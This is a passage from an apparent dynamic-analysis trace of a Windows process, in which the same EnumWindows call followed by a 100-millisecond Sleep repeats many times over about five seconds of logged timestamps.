(lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.464] Sleep (dwMilliseconds=0x64) [0219.467] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.468] Sleep (dwMilliseconds=0x64) [0219.469] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.470] Sleep (dwMilliseconds=0x64) [0219.478] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.478] Sleep (dwMilliseconds=0x64) [0219.486] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.486] Sleep (dwMilliseconds=0x64) [0219.497] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.498] Sleep (dwMilliseconds=0x64) [0219.627] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.628] Sleep (dwMilliseconds=0x64) [0219.635] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.636] Sleep (dwMilliseconds=0x64) [0219.643] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.644] Sleep (dwMilliseconds=0x64) [0219.645] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.646] Sleep (dwMilliseconds=0x64) [0219.649] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.650] Sleep (dwMilliseconds=0x64) [0219.651] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.652] Sleep (dwMilliseconds=0x64) [0219.653] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.653] Sleep (dwMilliseconds=0x64) [0219.655] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.655] Sleep (dwMilliseconds=0x64) [0219.677] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.678] Sleep (dwMilliseconds=0x64) [0219.777] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.777] Sleep (dwMilliseconds=0x64) [0219.786] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.787] Sleep (dwMilliseconds=0x64) [0219.797] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.798] Sleep (dwMilliseconds=0x64) [0219.807] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.808] Sleep (dwMilliseconds=0x64) [0219.982] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.983] Sleep (dwMilliseconds=0x64) [0219.984] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.985] Sleep (dwMilliseconds=0x64) [0219.996] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.996] Sleep (dwMilliseconds=0x64) [0219.998] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.999] Sleep (dwMilliseconds=0x64) [0220.021] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.022] Sleep (dwMilliseconds=0x64) [0220.101] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.102] Sleep (dwMilliseconds=0x64) [0220.134] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.135] Sleep (dwMilliseconds=0x64) [0220.137] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.137] Sleep (dwMilliseconds=0x64) [0220.148] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.149] Sleep (dwMilliseconds=0x64) [0220.151] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.151] Sleep (dwMilliseconds=0x64) [0220.153] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.153] Sleep (dwMilliseconds=0x64) [0220.158] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.158] Sleep (dwMilliseconds=0x64) [0220.160] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.160] Sleep (dwMilliseconds=0x64) [0220.162] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.162] Sleep (dwMilliseconds=0x64) [0220.163] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.164] Sleep (dwMilliseconds=0x64) [0220.278] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.305] Sleep (dwMilliseconds=0x64) [0220.313] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.314] Sleep (dwMilliseconds=0x64) [0220.422] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.422] Sleep (dwMilliseconds=0x64) [0220.432] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.432] Sleep (dwMilliseconds=0x64) [0220.439] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.440] Sleep (dwMilliseconds=0x64) [0220.442] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.442] Sleep (dwMilliseconds=0x64) [0220.452] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.453] Sleep (dwMilliseconds=0x64) [0220.477] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.478] Sleep (dwMilliseconds=0x64) [0220.586] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.587] Sleep (dwMilliseconds=0x64) [0220.588] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.589] Sleep (dwMilliseconds=0x64) [0220.591] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.591] Sleep (dwMilliseconds=0x64) [0220.592] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.593] Sleep (dwMilliseconds=0x64) [0220.594] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.595] Sleep (dwMilliseconds=0x64) [0220.597] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.598] Sleep (dwMilliseconds=0x64) [0220.599] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.599] Sleep (dwMilliseconds=0x64) [0220.601] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.601] Sleep (dwMilliseconds=0x64) [0220.603] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.603] Sleep (dwMilliseconds=0x64) [0220.605] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.605] Sleep (dwMilliseconds=0x64) [0220.607] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.607] Sleep (dwMilliseconds=0x64) [0220.609] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.609] Sleep (dwMilliseconds=0x64) [0220.611] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.611] Sleep (dwMilliseconds=0x64) [0220.613] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.613] Sleep (dwMilliseconds=0x64) [0220.615] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.615] Sleep (dwMilliseconds=0x64) [0220.616] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.617] Sleep (dwMilliseconds=0x64) [0220.719] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.720] Sleep (dwMilliseconds=0x64) [0220.721] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.722] Sleep (dwMilliseconds=0x64) [0220.729] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.730] Sleep (dwMilliseconds=0x64) [0220.737] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.738] Sleep (dwMilliseconds=0x64) [0220.745] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.746] Sleep (dwMilliseconds=0x64) [0220.753] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.754] Sleep (dwMilliseconds=0x64) [0220.785] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.786] Sleep (dwMilliseconds=0x64) [0220.863] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.864] Sleep (dwMilliseconds=0x64) [0220.871] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.872] Sleep (dwMilliseconds=0x64) [0220.873] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.874] Sleep (dwMilliseconds=0x64) [0220.875] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.875] Sleep (dwMilliseconds=0x64) [0220.877] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.877] Sleep (dwMilliseconds=0x64) [0220.879] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.879] Sleep (dwMilliseconds=0x64) [0220.881] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.882] Sleep (dwMilliseconds=0x64) [0220.885] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.885] Sleep (dwMilliseconds=0x64) [0220.886] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.887] Sleep (dwMilliseconds=0x64) [0220.888] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.889] Sleep (dwMilliseconds=0x64) [0220.891] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.891] Sleep (dwMilliseconds=0x64) [0220.994] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0220.994] Sleep (dwMilliseconds=0x64) [0221.007] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0221.008] Sleep (dwMilliseconds=0x64) [0221.010] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0221.011] Sleep (dwMilliseconds=0x64) [0221.060] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0221.061] Sleep (dwMilliseconds=0x64) [0221.107] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0221.108] Sleep (dwMilliseconds=0x64) [0221.181] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0221.182] Sleep (dwMilliseconds=0x64) [0221.191] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0221.192] Sleep (dwMilliseconds=0x64) [0221.544] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0221.545] Sleep (dwMilliseconds=0x64) [0221.659] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0221.660] Sleep (dwMilliseconds=0x64) [0221.662] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0221.662] Sleep (dwMilliseconds=0x64) [0221.665] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0221.665] Sleep (dwMilliseconds=0x64) [0221.666] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0221.667] Sleep (dwMilliseconds=0x64) [0221.668] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0221.669] Sleep (dwMilliseconds=0x64) [0221.671] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0221.671] Sleep (dwMilliseconds=0x64) [0221.672] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0221.673] Sleep (dwMilliseconds=0x64) [0221.674] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0221.675] Sleep (dwMilliseconds=0x64) [0221.687] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0221.688] Sleep (dwMilliseconds=0x64) [0221.758] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0221.759] Sleep (dwMilliseconds=0x64) [0221.797] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0221.798] Sleep (dwMilliseconds=0x64) [0221.800] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0221.800] Sleep (dwMilliseconds=0x64) [0221.802] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0221.802] Sleep (dwMilliseconds=0x64) [0221.804] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0221.804] Sleep (dwMilliseconds=0x64) [0221.806] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0221.806] Sleep (dwMilliseconds=0x64) [0221.923] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0221.924] Sleep (dwMilliseconds=0x64) [0222.052] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.053] Sleep (dwMilliseconds=0x64) [0222.055] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.056] Sleep (dwMilliseconds=0x64) [0222.057] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.058] Sleep (dwMilliseconds=0x64) [0222.059] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.060] Sleep (dwMilliseconds=0x64) [0222.061] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.062] Sleep (dwMilliseconds=0x64) [0222.063] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.064] Sleep (dwMilliseconds=0x64) [0222.108] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.109] Sleep (dwMilliseconds=0x64) [0222.287] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.288] Sleep (dwMilliseconds=0x64) [0222.296] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.297] Sleep (dwMilliseconds=0x64) [0222.298] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.299] Sleep (dwMilliseconds=0x64) [0222.300] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.301] Sleep (dwMilliseconds=0x64) [0222.453] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.454] Sleep (dwMilliseconds=0x64) [0222.456] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.456] Sleep (dwMilliseconds=0x64) [0222.458] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.458] Sleep (dwMilliseconds=0x64) [0222.464] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.464] Sleep (dwMilliseconds=0x64) [0222.466] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.466] Sleep (dwMilliseconds=0x64) [0222.469] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.469] Sleep (dwMilliseconds=0x64) [0222.471] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.471] Sleep (dwMilliseconds=0x64) [0222.584] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.585] Sleep (dwMilliseconds=0x64) [0222.602] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.603] Sleep (dwMilliseconds=0x64) [0222.612] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.612] Sleep (dwMilliseconds=0x64) [0222.621] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.621] Sleep (dwMilliseconds=0x64) [0222.667] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.668] Sleep (dwMilliseconds=0x64) [0222.727] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.728] Sleep (dwMilliseconds=0x64) [0222.730] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.730] Sleep (dwMilliseconds=0x64) [0222.740] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.740] Sleep (dwMilliseconds=0x64) [0222.743] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.743] Sleep (dwMilliseconds=0x64) [0222.744] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.745] Sleep (dwMilliseconds=0x64) [0222.746] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.747] Sleep (dwMilliseconds=0x64) [0222.748] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.748] Sleep (dwMilliseconds=0x64) [0222.750] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.750] Sleep (dwMilliseconds=0x64) [0222.752] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.752] Sleep (dwMilliseconds=0x64) [0222.754] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.754] Sleep (dwMilliseconds=0x64) [0222.755] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.756] Sleep (dwMilliseconds=0x64) [0222.758] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.758] Sleep (dwMilliseconds=0x64) [0222.874] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.876] Sleep (dwMilliseconds=0x64) [0222.878] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.878] Sleep (dwMilliseconds=0x64) [0222.879] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.880] Sleep (dwMilliseconds=0x64) [0222.881] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.881] Sleep (dwMilliseconds=0x64) [0222.882] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.883] Sleep (dwMilliseconds=0x64) [0222.884] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.884] Sleep (dwMilliseconds=0x64) [0222.885] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.886] Sleep (dwMilliseconds=0x64) [0222.888] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.939] Sleep (dwMilliseconds=0x64) [0222.991] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0222.992] Sleep (dwMilliseconds=0x64) [0223.047] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.048] Sleep (dwMilliseconds=0x64) [0223.050] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.050] Sleep (dwMilliseconds=0x64) [0223.052] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.052] Sleep (dwMilliseconds=0x64) [0223.054] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.054] Sleep (dwMilliseconds=0x64) [0223.057] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.058] Sleep (dwMilliseconds=0x64) [0223.059] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.059] Sleep (dwMilliseconds=0x64) [0223.084] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.086] Sleep (dwMilliseconds=0x64) [0223.188] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.189] Sleep (dwMilliseconds=0x64) [0223.201] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.202] Sleep (dwMilliseconds=0x64) [0223.204] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.204] Sleep (dwMilliseconds=0x64) [0223.206] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.206] Sleep (dwMilliseconds=0x64) [0223.211] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.211] Sleep (dwMilliseconds=0x64) [0223.212] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.212] Sleep (dwMilliseconds=0x64) [0223.214] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.214] Sleep (dwMilliseconds=0x64) [0223.215] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.215] Sleep (dwMilliseconds=0x64) [0223.217] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.217] Sleep (dwMilliseconds=0x64) [0223.218] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.218] Sleep (dwMilliseconds=0x64) [0223.220] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.220] Sleep (dwMilliseconds=0x64) [0223.221] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.221] Sleep (dwMilliseconds=0x64) [0223.223] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.223] Sleep (dwMilliseconds=0x64) [0223.226] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.226] Sleep (dwMilliseconds=0x64) [0223.233] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.234] Sleep (dwMilliseconds=0x64) [0223.302] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.303] Sleep (dwMilliseconds=0x64) [0223.310] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.310] Sleep (dwMilliseconds=0x64) [0223.347] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.348] Sleep (dwMilliseconds=0x64) [0223.355] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.356] Sleep (dwMilliseconds=0x64) [0223.364] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.365] Sleep (dwMilliseconds=0x64) [0223.372] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.372] Sleep (dwMilliseconds=0x64) [0223.374] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.374] Sleep (dwMilliseconds=0x64) [0223.378] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.379] Sleep (dwMilliseconds=0x64) [0223.461] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.461] Sleep (dwMilliseconds=0x64) [0223.528] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.529] Sleep (dwMilliseconds=0x64) [0223.531] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.532] Sleep (dwMilliseconds=0x64) [0223.533] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.533] Sleep (dwMilliseconds=0x64) [0223.535] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.535] Sleep (dwMilliseconds=0x64) [0223.537] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.537] Sleep (dwMilliseconds=0x64) [0223.539] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.539] Sleep (dwMilliseconds=0x64) [0223.544] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.544] Sleep (dwMilliseconds=0x64) [0223.545] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.546] Sleep (dwMilliseconds=0x64) [0223.547] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.548] Sleep (dwMilliseconds=0x64) [0223.549] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.550] Sleep (dwMilliseconds=0x64) [0223.551] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.552] Sleep (dwMilliseconds=0x64) [0223.553] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.554] Sleep (dwMilliseconds=0x64) [0223.555] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.555] Sleep (dwMilliseconds=0x64) [0223.558] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.558] Sleep (dwMilliseconds=0x64) [0223.576] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.577] Sleep (dwMilliseconds=0x64) [0223.671] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.672] Sleep (dwMilliseconds=0x64) [0223.678] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.679] Sleep (dwMilliseconds=0x64) [0223.680] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.681] Sleep (dwMilliseconds=0x64) [0223.682] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.683] Sleep (dwMilliseconds=0x64) [0223.684] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.685] Sleep (dwMilliseconds=0x64) [0223.703] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.704] Sleep (dwMilliseconds=0x64) [0223.712] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.713] Sleep (dwMilliseconds=0x64) [0223.724] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.724] Sleep (dwMilliseconds=0x64) [0223.815] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.816] Sleep (dwMilliseconds=0x64) [0223.823] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.823] Sleep (dwMilliseconds=0x64) [0223.830] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.831] Sleep (dwMilliseconds=0x64) [0223.839] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.839] Sleep (dwMilliseconds=0x64) [0223.842] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.842] Sleep (dwMilliseconds=0x64) [0223.844] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.844] Sleep (dwMilliseconds=0x64) [0223.846] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.846] Sleep (dwMilliseconds=0x64) [0223.849] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.849] Sleep (dwMilliseconds=0x64) [0223.851] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.851] Sleep (dwMilliseconds=0x64) [0223.853] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.853] Sleep (dwMilliseconds=0x64) [0223.855] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.855] Sleep (dwMilliseconds=0x64) [0223.857] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.857] Sleep (dwMilliseconds=0x64) [0223.859] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.860] Sleep (dwMilliseconds=0x64) [0223.954] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.955] Sleep (dwMilliseconds=0x64) [0223.966] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.967] Sleep (dwMilliseconds=0x64) [0223.980] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.981] Sleep (dwMilliseconds=0x64) [0223.991] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.992] Sleep (dwMilliseconds=0x64) [0223.993] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.994] Sleep (dwMilliseconds=0x64) [0223.995] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.996] Sleep (dwMilliseconds=0x64) [0223.997] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0223.998] Sleep (dwMilliseconds=0x64) [0223.999] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.000] Sleep (dwMilliseconds=0x64) [0224.001] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.002] Sleep (dwMilliseconds=0x64) [0224.003] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.004] Sleep (dwMilliseconds=0x64) [0224.011] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.011] Sleep (dwMilliseconds=0x64) [0224.113] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.113] Sleep (dwMilliseconds=0x64) [0224.124] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.124] Sleep (dwMilliseconds=0x64) [0224.160] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.161] Sleep (dwMilliseconds=0x64) [0224.166] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.167] Sleep (dwMilliseconds=0x64) [0224.169] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.169] Sleep (dwMilliseconds=0x64) [0224.173] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.173] Sleep (dwMilliseconds=0x64) [0224.185] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.186] Sleep (dwMilliseconds=0x64) [0224.197] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.197] Sleep (dwMilliseconds=0x64) [0224.267] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.267] Sleep (dwMilliseconds=0x64) [0224.275] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.275] Sleep (dwMilliseconds=0x64) [0224.311] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.312] Sleep (dwMilliseconds=0x64) [0224.323] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.324] Sleep (dwMilliseconds=0x64) [0224.325] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.326] Sleep (dwMilliseconds=0x64) [0224.327] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.328] Sleep (dwMilliseconds=0x64) [0224.329] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.330] Sleep (dwMilliseconds=0x64) [0224.334] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.334] Sleep (dwMilliseconds=0x64) [0224.336] EnumWindows 